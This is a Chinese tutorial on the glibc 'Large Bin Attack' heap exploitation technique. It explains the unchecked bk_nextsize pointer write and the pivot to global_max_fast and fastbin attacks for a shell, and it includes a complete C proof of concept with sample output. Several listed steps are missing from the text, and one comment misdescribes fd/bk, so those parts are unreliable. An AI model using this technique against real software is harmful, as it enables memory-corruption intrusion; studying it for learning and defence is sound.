Large Bin Attack

学习 Large Bin Attack，最重要的一点是不要被它的名字吓倒。虽然它属于高级的堆利用技巧，但它的本质其实非常简单：利用 glibc 在维护“有序双向链表”时，缺乏足够的安全检查，从而让我们能在一个任意的内存地址里，写入一个堆地址。

我们先抛开复杂的代码，从 Large Bin 这个“仓库”的特殊结构说起。

第一步：理解 Large Bin 的特殊结构

在你之前接触的 Fastbin 或 Unsorted Bin 中，一个释放的内存块（Chunk）只有两个指针：fd（指向下一个块）和 bk（指向上一个块）。它们构成的是普通链表。

但是，Large Bin 存放的是大于 1024 字节（64位系统下）的大内存块。为了在分配时能快速找到合适大小的块，glibc 对 Large Bin 做了两件事：

一个完整的 Large Bin Chunk 结构长这样：

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk的大小
INTERNAL_SIZE_T mchunk_size; // 当前chunk的大小
struct malloc_chunk* fd; // 物理相邻的下一个chunk
struct malloc_chunk* bk; // 物理相邻的上一个chunk

// 只有 Large Bin 才用到的两个指针：
struct malloc_chunk* fd_nextsize; // 指向比当前组稍微小一点的那个组的首个chunk
struct malloc_chunk* bk_nextsize; // 指向比当前组稍微大一点的那个组的首个chunk
};

关键点：fd_nextsize 和 bk_nextsize 构成了一个跳表，用来在不同大小的 Chunk 之间快速跳转。Large Bin Attack 的核心，就是伪造 bk_nextsize 或 bk 指针。

第二步：攻击的触发原理（解剖 glibc 源码）

什么时候会触发 Large Bin Attack？
答案是：当一个 Chunk 从 Unsorted Bin 被放入 Large Bin 时。

当你调用 malloc 申请内存时，glibc 会遍历 Unsorted Bin。如果发现里面的 Chunk 大小不满足你的要求，就会把它“分类”放到对应的 Bin 中。如果这个 Chunk 很大，就会被塞进 Large Bin，并且按照大小插入到合适的位置。

在 glibc 源码中，插入 Large Bin 的操作有这样一段逻辑（这里简化了代码，只保留致命部分）：

假设 victim 是我们正要插入的 Chunk，fwd 是链表中已经存在的、大小比 victim 大的 Chunk。

// 1. 设置 victim 的 nextsize 指针
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;

// 2. 更新原有链表的 nextsize 指针
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; // <—- 【致命漏洞就在这里！】

**仔细看最后一行代码：victim->bk_nextsize->fd_nextsize = victim;**

如果你能利用某种漏洞（比如 Use-After-Free，UAF），在 victim 被插入前，修改了原本躺在 Large Bin 里的那个 fwd 的 bk_nextsize 指针，会发生什么？

假设我们把 fwd->bk_nextsize 篡改成 Target_Address – 0x20：

恭喜！你成功地在 Target_Address 这个任意地址，写入了 victim 的堆地址！ 这就是 Large Bin Attack 的终极奥义。

第三步：手把手实战推演

我们用一个具体的场景来走一遍攻击流程。假设现在你有一个 UAF 漏洞，可以修改已经被释放的 Chunk 的内容。

环境准备：
你需要伪造出一种特定的堆布局。

攻击步骤：

第四步：我们能用它来做什么？

你可能会问：“我费了半天劲，只能往任意地址写入一个堆的地址，又不能写我自定义的数据（比如 system 函数），这有什么用？”

这正是 Large Bin Attack 的精妙之处。它通常不作为最后的绝杀，而是作为破局的跳板。最经典的用法是：

• 劫持 global_max_fast 变量：
  global_max_fast 是 glibc 中的一个全局变量，用来限制 Fastbin 的最大尺寸（默认通常是 0x80）。
  你可以把 Target_Address 设为 global_max_fast。攻击完成后，global_max_fast 会被覆盖成一个巨大的堆地址（比如 0x55xxxxxx）。
  从此之后，任何大小的 Chunk 释放后都会被当作 Fastbin 处理！ 然后你就可以愉快地使用非常简单的 Fastbin Attack 来申请任意内存、修改 Got 表、拿到 Shell 了。

例子

这是一段经典的 C 语言概念验证代码（PoC）。通过这段代码，你可以直观地看到我们是如何利用 UAF（Use-After-Free）漏洞，将一个堆地址写入栈上的局部变量 target 中的。

#include <stdio.h>
#include <stdlib.h>

int main() {
// 我们的攻击目标：将一个堆地址写入这个普通的局部变量中
size_t target = 0;

printf("攻击前 target 的值: 0x%zx\\n", target);
printf("target 变量的内存地址: %p\\n", &target);

// ====================================================================
// 第一步：布局堆内存
// ====================================================================
// 分配一个较大的 Chunk A (0x420)
size_t *p1 = malloc(0x420);
// 分配一个隔离块，防止 Chunk A 和 Chunk B 在释放时物理合并
malloc(0x20);

// 分配一个稍小的 Chunk B (0x400)
size_t *p2 = malloc(0x400);
// 再次分配隔离块，防止 Chunk B 与 Top Chunk 合并
malloc(0x20);

// ====================================================================
// 第二步：将 Chunk A 送入 Large Bin
// ====================================================================
free(p1); // p1 释放后首先进入 Unsorted Bin
malloc(0x500); // 申请一个更大的块。glibc 遍历 Unsorted Bin 发现 p1 不够大，
// 于是将其归类放入 Large Bin。

// ====================================================================
// 第三步：释放 Chunk B，准备触发漏洞
// ====================================================================
free(p2); // p2 释放后进入 Unsorted Bin

// ====================================================================
// 第四步：漏洞介入（利用 UAF 篡改指针）
// ====================================================================
// 假设程序存在 UAF 漏洞，允许我们修改已经释放且躺在 Large Bin 里的 p1
// malloc 返回的用户态指针，其索引偏移如下：
// p1[0] -> fd
// p1[1] -> bk
// p1[2] -> fd_nextsize
// p1[3] -> bk_nextsize

// 我们将 p1 的 bk_nextsize 篡改为 target 地址减去 0x20
p1[3] = (size_t)&target – 0x20;

// ====================================================================
// 第五步：引爆漏洞
// ====================================================================
// 再次申请大内存。glibc 遍历 Unsorted Bin，发现 p2 也不够大。
// 它试图将 p2 插入到 Large Bin 中 p1 的后面。
// 此时触发致命逻辑：p1->bk_nextsize->fd_nextsize = p2
// 翻译过来就是：(&target – 0x20 + 0x20) = p2 的 Chunk 头地址
malloc(0x500);

// ====================================================================
// 验证结果
// ====================================================================
printf("\\n攻击后 target 的值: 0x%zx\\n", target);

// 计算 p2 的 Chunk 头地址 (用户态指针减去 0x10 的头部大小)
printf("p2 Chunk 头的真实地址: %p\\n", (void*)((char*)p2 – 0x10));

return 0;
}

核心偏移量解剖：为什么是 – 0x20？

在 64 位系统中，内存对齐和结构体大小是固定的。这里是新手最容易卡住的地方，我们拆解一下 glibc 计算地址的过程：

• prev_size (8 bytes，偏移 0x00)
• size (8 bytes，偏移 0x08)
• fd (8 bytes，偏移 0x10)
• bk (8 bytes，偏移 0x18)
• fd_nextsize (8 bytes，偏移 0x20)
• bk_nextsize (8 bytes，偏移 0x28)

终端运行效果预期

编译并运行这段代码，你会看到类似如下的输出（由于 ASLR，每次运行地址会变，但相对逻辑是不变的）：

攻击前 target 的值: 0x0
target 变量的内存地址: 0x7ffd5a98b2c8

攻击后 target 的值: 0x55982c7a06a0
p2 Chunk 头的真实地址: 0x55982c7a06a0

可以看到，target 原本是一个毫无威胁的 0，但在经过一次合法的 malloc(0x500) 操作后，它被 glibc 内部的链表维护机制强行写入了 p2 的堆地址。如果在实际的漏洞挖掘中，你将 target 替换为 global_max_fast 或者 _IO_list_all 等关键的系统底层变量，就正式掌控了程序的执行流。